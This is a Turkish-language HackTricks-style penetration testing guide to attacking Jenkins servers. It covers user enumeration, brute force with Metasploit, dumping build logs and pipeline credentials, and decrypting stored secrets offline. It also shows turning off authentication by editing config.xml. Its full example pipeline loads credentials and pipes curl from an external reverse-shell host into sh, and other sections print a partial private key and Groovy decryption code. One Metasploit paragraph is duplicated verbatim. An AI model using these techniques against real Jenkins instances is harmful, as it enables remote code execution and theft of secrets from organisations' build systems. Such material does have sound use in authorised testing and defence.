Jenkins Security

AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

Temel Bilgiler

Jenkins, herhangi bir programlama dili ve kaynak kodu depolarını kullanarak sürekli entegrasyon veya sürekli dağıtım (CI/CD) ortamı oluşturmak için basit bir yöntem sunan bir araçtır. Ayrıca, çeşitli rutin geliştirme görevlerini otomatikleştirir. Jenkins, bireysel adımlar için betik oluşturma ihtiyacını ortadan kaldırmazken, inşa, test ve dağıtım araçlarının tüm sıralamasını kolayca manuel olarak oluşturulabilecek bir şekilde daha hızlı ve sağlam bir şekilde entegre etme imkanı sağlar.

pageBasic Jenkins Information

Kimlik Doğrulamasız Sıralama

Kimlik doğrulamasız (/people veya /asynchPeople gibi) ilginç Jenkins sayfalarını aramak için mevcut kullanıcıları listelerken kullanabileceğiniz:

msf> use auxiliary/scanner/http/jenkins_enum

Komutları kimlik doğrulaması olmadan çalıştırıp çalıştıramadığınızı kontrol edin:

msf> use auxiliary/scanner/http/jenkins_command

Kimlik bilgileri olmadan, /asynchPeople/ yoluna veya /securityRealm/user/admin/search/index?q= yoluna bakarak kullanıcı adlarını bulabilirsiniz.

Jenkins sürümünü /oops veya /error yolundan alabilirsiniz.

Bilinen Zayıflıklar

Giriş

Temel bilgilerde Jenkins'e giriş yapmanın tüm yollarını kontrol edebilirsiniz:

pageBasic Jenkins Information

Kayıt Ol

Jenkins örneklerini bulabilirsiniz ki bu size bir hesap oluşturmanıza ve içine giriş yapmanıza izin verir. Bu kadar basit.

SSO Girişi

Ayrıca, SSO işlevselliği/pluginleri mevcutsa, bir test hesabı kullanarak (örneğin, bir test Github/Bitbucket hesabı) uygulamaya giriş yapmayı denemelisiniz. İpucu buradan.

Brute Force

Jenkins, şifre politikası ve kullanıcı adı brute force önlemi eksikliği gösterir. Zayıf şifrelerin veya kullanıcı adlarının şifre olarak kullanılabileceği, hatta tersine çevrilmiş kullanıcı adlarının şifre olarak kullanılabileceği durumlar olabilir.

msf> use auxiliary/scanner/http/jenkins_login

Parola sıçratma

Şu python scriptini veya şu powershell scriptini kullanın.

IP Beyaz Listesi Atlama

Birçok kuruluş, GitHub veya GitLab gibi SaaS tabanlı kaynak kontrol yönetimi (SCM) sistemlerini Jenkins veya TeamCity gibi iç, kendi barındıran CI çözümleriyle birleştirir. Bu yapılandırma, CI sistemlerinin öncelikle boru hattı işlerini tetiklemek için SaaS kaynak kontrol satıcılarından webhook etkinlikleri almasına olanak tanır.

Bunu başarmak için, kuruluşlar SCM platformlarının IP aralıklarını beyaz listeye alır ve bunların webhooklar aracılığıyla iç CI sistemine erişmelerine izin verir. Ancak, GitHub veya GitLab'da herhangi biri bir hesap oluşturabilir ve bunu webhook tetiklemek için yapılandırabilir, potansiyel olarak iç CI sistemine istekler gönderebilir.

Kontrol et: shttps://www.cidersecurity.io/blog/research/how-we-abused-repository-webhooks-to-access-internal-ci-systems-at-scale/

İç Jenkins İstismarları

Bu senaryolarda, Jenkins'e erişmek için geçerli bir hesabınız olduğunu varsayacağız.

Jenkins'te yapılandırılan Yetkilendirme mekanizmasına ve etkilenen kullanıcının izinlerine bağlı olarak, aşağıdaki saldırıları gerçekleştirebilir veya gerçekleştiremeyebilirsiniz.

Daha fazla bilgi için temel bilgilere bakın:

pageBasic Jenkins Information

Kullanıcıları listeleme

Jenkins'e eriştiyseniz, diğer kayıtlı kullanıcıları http://127.0.0.1:8080/asynchPeople/ adresinde listeleyebilirsiniz.

Açık metin sırları bulmak için yapıların dökülmesi

Umarız açık metin sırlarını bulmak için bu scripti kullanarak yapı konsol çıktılarını ve yapı ortam değişkenlerini dökebilirsiniz.

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

SSH Kimlik Bilgilerini Çalma

Eğer kompromize edilen kullanıcının yeni bir Jenkins düğümü oluşturma/değiştirme yetkisi varsa ve zaten diğer düğümlere erişmek için SSH kimlik bilgileri saklanıyorsa, kimlik bilgilerini kimlik doğrulaması yapmadan kaydedecek bir ana bilgisayar ayarlayarak bu kimlik bilgilerini çalabilir:

Jenkins ssh kimlik bilgilerini genellikle bir genel sağlayıcıda (/credentials/) bulabilirsiniz, bu yüzden bunları diğer sırları nasıl sızdırdığınız gibi sızdırabilirsiniz. Daha fazla bilgi için Sırları Sızdırma bölümüne bakın.

Jenkins'te RCE (Uzaktan Kod Çalıştırma)

Jenkins sunucusunda bir kabuk elde etmek, saldırganın tüm sırları ve ortam değişkenlerini sızdırmasına ve aynı ağda bulunan diğer makineleri hatta bulut kimlik bilgilerini toplamasına olanak tanır.

Jenkins varsayılan olarak SİSTEM olarak çalışır. Bu nedenle, bunu ele geçirmek saldırgana SİSTEM ayrıcalıkları sağlar.

Proje Oluşturma/Değiştirme ile RCE

Bir proje oluşturmak/değiştirmek, Jenkins sunucusu üzerinde RCE elde etmenin bir yoludur:

pageJenkins RCE Creating/Modifying Project

Groovy Betik Çalıştırarak RCE Elde Etme

Yeni bir proje oluşturmak yerine daha gizli bir şekilde RCE elde etmek için bir Groovy betik çalıştırabilirsiniz:

pageJenkins RCE with Groovy Script

Pipeline Oluşturma/Değiştirme ile RCE

Pipeline oluşturarak/değiştirerek de RCE elde edebilirsiniz:

pageJenkins RCE Creating/Modifying Pipeline

Pipeline Sömürüsü

Pipeline'ları sömürmek için hala Jenkins'a erişiminiz olması gerekmektedir.

Build Pipeline'ları

Pipeline'lar, projelerde derleme mekanizması olarak da kullanılabilir, bu durumda pipeline sözdizimini içeren bir dizin içindeki bir dosya yapılandırılabilir. Varsayılan olarak /Jenkinsfile kullanılır:

Pipeline yapılandırma dosyalarını başka yerlerde (örneğin başka depolarda) saklamak da mümkündür, bu şekilde depo erişimi ve pipeline erişimi ayrılabilir.

Bir saldırganın bu dosyaya yazma erişimi varsa, dosyayı değiştirebilir ve Jenkins'e erişimi olmadan bile pipeline'ı tetikleyebilir. Saldırganın bazı dal korumalarını atlaması gerekebilir (platforma ve kullanıcı ayrıcalıklarına bağlı olarak atlanabilir veya atlanamaz).

Özel bir pipeline'ı çalıştırmak için en yaygın tetikleyiciler şunlardır:

  • Ana dal için çekme isteği (veya potansiyel olarak diğer dallar için)

  • Ana dala itme (veya potansiyel olarak diğer dallar için)

  • Ana dalı güncelle ve bir şekilde yürütülmesini bekleyin

Eğer bir harici kullanıcı iseniz, başka bir kullanıcının/şirketin deposunun ana dalına PR oluşturup pipeline'ı tetiklemeyi beklememelisiniz... ancak kötü yapılandırılmış ise bunu kullanarak şirketleri tamamen ele geçirebilirsiniz.

Pipeline RCE

Önceki RCE bölümünde, bir pipeline'ı değiştirerek RCE elde etme tekniği zaten belirtilmiştir.

Ortam Değişkenlerini Kontrol Etme

Tüm pipeline veya belirli aşamalar için açık metin ortam değişkenleri bildirilebilir. Bu ortam değişkenleri hassas bilgiler içermemelidir, ancak bir saldırgan her zaman tüm pipeline yapılandırmalarını/Jenkins dosyalarını kontrol edebilir:

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

Sızdırma Sırları

Jenkins tarafından sırların nasıl işlendiği hakkında bilgi için temel bilgilere göz atın:

pageBasic Jenkins Information

Kimlik bilgileri genel sağlayıcılara (/credentials/) veya belirli projelere (/job/<proje-adı>/configure) kapsamlı olabilir. Bu nedenle, tüm sırları ele geçirmek için en azından sırlar içeren tüm projeleri etkisiz hale getirmeniz ve özel/poisoned pipeline'ları çalıştırmanız gerekmektedir.

Başka bir sorun daha var, bir pipeline'ın env'sindeki bir sırrı almak için sırrın adını ve türünü bilmelisiniz. Örneğin, bir usernamePassword sırrını bir string sırrı olarak yüklemeye çalışırsanız, bu hatayı alırsınız:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

İşte bazı yaygın gizli türlerini yüklemenin yolu:

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

Bu sayfanın sonunda tüm kimlik bilgisi türlerini bulabilirsiniz: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

Tüm sırları aynı anda sızdırmak için en iyi yol, Jenkins makinesini kompromize etmek (örneğin, yerleşik düğümde ters kabuk çalıştırmak) ve ardından anahtarları sızdırmak ve şifreli sırları çevrimdışı olarak çözmektir. Bunu nasıl yapacağınız hakkında daha fazla bilgiyi Düğümler ve Ajanlar bölümünde ve Saldırı Sonrası bölümünde bulabilirsiniz.

Tetikleyiciler

Belgelerden: triggers yönergesi, Pipeline'ın nasıl otomatik olarak yeniden tetikleneceğini tanımlar. GitHub veya BitBucket gibi bir kaynakla entegre olan Pipeline'lar için, triggers olması gerekli olmayabilir, çünkü webhook tabanlı entegrasyon zaten mevcut olabilir. Şu anda mevcut olan tetikleyiciler cron, pollSCM ve upstream'dir.

Cron örneği:

triggers { cron('H */4 * * 1-5') }

Diğer örnekler için belgelere bakın.

Düğümler ve Ajanlar

Bir Jenkins örneği, farklı makinelerde çalışan farklı ajanlara sahip olabilir. Bir saldırganın bakış açısından, farklı makinelerin erişimi, çalınabilecek farklı potansiyel bulut kimlik bilgileri veya diğer makineleri sömürmek için kötüye kullanılabilecek farklı ağ erişimi anlamına gelir.

Daha fazla bilgi için temel bilgilere bakın:

pageBasic Jenkins Information

/computer/ dizininde yapılandırılmış düğümleri numaralandırabilirsiniz, genellikle **Yerleşik Düğüm ** (Jenkins'i çalıştıran düğüm) ve potansiyel olarak daha fazlasını bulabilirsiniz:

Yerleşik düğümü ele geçirmek özellikle ilginçtir çünkü hassas Jenkins bilgilerini içerir.

Yapıyı yerleşik Jenkins düğümünde çalıştırmak için, yapı içinde aşağıdaki yapılandırmayı belirtebilirsiniz:

pipeline {
agent {label 'built-in'}

Tam örnek

Belirli bir ajan içeren bir boru hattı, bir cron tetikleyici ile, boru hattı ve aşama ortam değişkenleriyle, bir adımda 2 değişken yükleyen ve ters kabuk gönderen bir örnektir:

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

Metasploit, birçok farklı saldırı vektörü ve hedef sistemler üzerinde kullanılabilen bir açık kaynaklı saldırı çerçevesidir. Metasploit, saldırganların hedef sistemlere erişim sağlamasına ve ardından bu sistemleri istedikleri gibi kontrol etmelerine olanak tanır. Bu, saldırganların hedef sistemdeki verilere erişebilmesi, sistem ayarlarını değiştirebilmesi veya hedef sistem üzerinde istedikleri komutları çalıştırabilmesi anlamına gelir.

Metasploit, birçok farklı saldırı modülü içerir ve bu modüller, saldırganların hedef sistemler üzerinde çeşitli saldırılar gerçekleştirmesine yardımcı olur. Bu saldırılar arasında exploitler, payloadlar, post-exploitasyon araçları ve daha fazlası bulunur.

Metasploit, saldırganların hedef sistemler üzerindeki zayıflıkları tespit etmelerine ve bu zayıflıkları kullanarak sistemlere erişim sağlamalarına yardımcı olur. Bu nedenle, bir saldırganın hedef sistem üzerindeki zayıflıkları tespit etmek ve istismar etmek için Metasploit'i kullanması yaygın bir yöntemdir.

Metasploit, saldırganların hedef sistemler üzerindeki zayıflıkları tespit etmelerine ve bu zayıflıkları kullanarak sistemlere erişim sağlamalarına yardımcı olur. Bu nedenle, bir saldırganın hedef sistem üzerindeki zayıflıkları tespit etmek ve istismar etmek için Metasploit'i kullanması yaygın bir yöntemdir.

msf> post/multi/gather/jenkins_gather

Jenkins Sırları

Yeterli izinlere sahipseniz, /credentials/ erişerek sırları listeleyebilirsiniz. Bu, yalnızca credentials.xml dosyası içindeki sırları listeleyecektir, ancak derleme yapılandırma dosyalarında daha fazla kimlik bilgisi olabilir.

Her projenin yapılandırmasını görebiliyorsanız, orada da depo erişimi için kullanılan kimlik bilgilerinin (sırların) adlarını ve projenin diğer kimlik bilgilerini görebilirsiniz.

Groovy'den

pageJenkins Dumping Secrets from Groovy

Diskten

Jenkins sırlarını şifrelemek için bu dosyalara ihtiyaç vardır:

  • secrets/master.key

  • secrets/hudson.util.Secret

Bu tür sırlar genellikle şurada bulunabilir:

  • credentials.xml

  • jobs/.../build.xml

  • jobs/.../config.xml

İşte onları bulmak için bir regex:

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Jenkins şifrelerini çevrimdışı olarak şifre çözme

Eğer şifreleri çözmek için gerekli olan şifreleri dökmüşseniz, bu betiği kullanarak bu şifreleri çözebilirsiniz.

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Groovy ile Jenkins sırlarını şifre çözme

Jenkins, yapılandırma dosyalarında kullanılan şifreleri şifrelemek için bir mekanizma sağlar. Bu şifreler, Jenkins sunucusunda depolanır ve Jenkins tarafından kullanıldığında otomatik olarak çözülür. Ancak, bazen bu şifreleri Jenkins sunucusu dışında kullanmanız gerekebilir. Bu durumda, şifreleri Groovy betikleri kullanarak çözebilirsiniz.

Aşağıdaki Groovy kodu, Jenkins şifrelerini çözmek için kullanılabilir:

import hudson.util.Secret

def secret = Secret.decrypt("<encrypted_secret>")
def plainText = secret.getPlainText()
println plainText

Yukarıdaki kodu kullanarak, <encrypted_secret> yerine şifrelenmiş bir Jenkins sırrını geçerek, bu sırrın çözülmüş halini elde edebilirsiniz. Çözülmüş sır, plainText değişkeninde depolanır ve println ifadesiyle ekrana yazdırılır.

Bu yöntem, Jenkins yapılandırma dosyalarında kullanılan şifreleri çözmek için kullanışlı bir araçtır. Ancak, bu kodu dikkatlice kullanmalı ve şifreleri güvenli bir şekilde saklamalısınız.

println(hudson.util.Secret.decrypt("{...}"))

Yeni yönetici kullanıcısı oluşturma

  1. /var/lib/jenkins/config.xml veya C:\Program Files (x86)\Jenkis\ dizinindeki Jenkins config.xml dosyasına erişin.

  2. <useSecurity>true</useSecurity> kelimesini arayın ve **true ** kelimesini false olarak değiştirin.

  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml komutunu çalıştırın.

  4. Jenkins sunucusunu yeniden başlatın: service jenkins restart

  5. Şimdi tekrar Jenkins portalına gidin ve bu sefer Jenkins herhangi bir kimlik bilgisi sormayacaktır. Yönetici şifresini yeniden ayarlamak için "Manage Jenkins" bölümüne gidin.

  6. Ayarları <useSecurity>true</useSecurity> olarak değiştirin ve Jenkins'i tekrar yeniden başlatın.

Referanslar

AWS hackleme konusunda sıfırdan kahraman olmak için htARTE (HackTricks AWS Red Team Expert)'ı öğrenin!

HackTricks'ı desteklemenin diğer yolları:

Last updated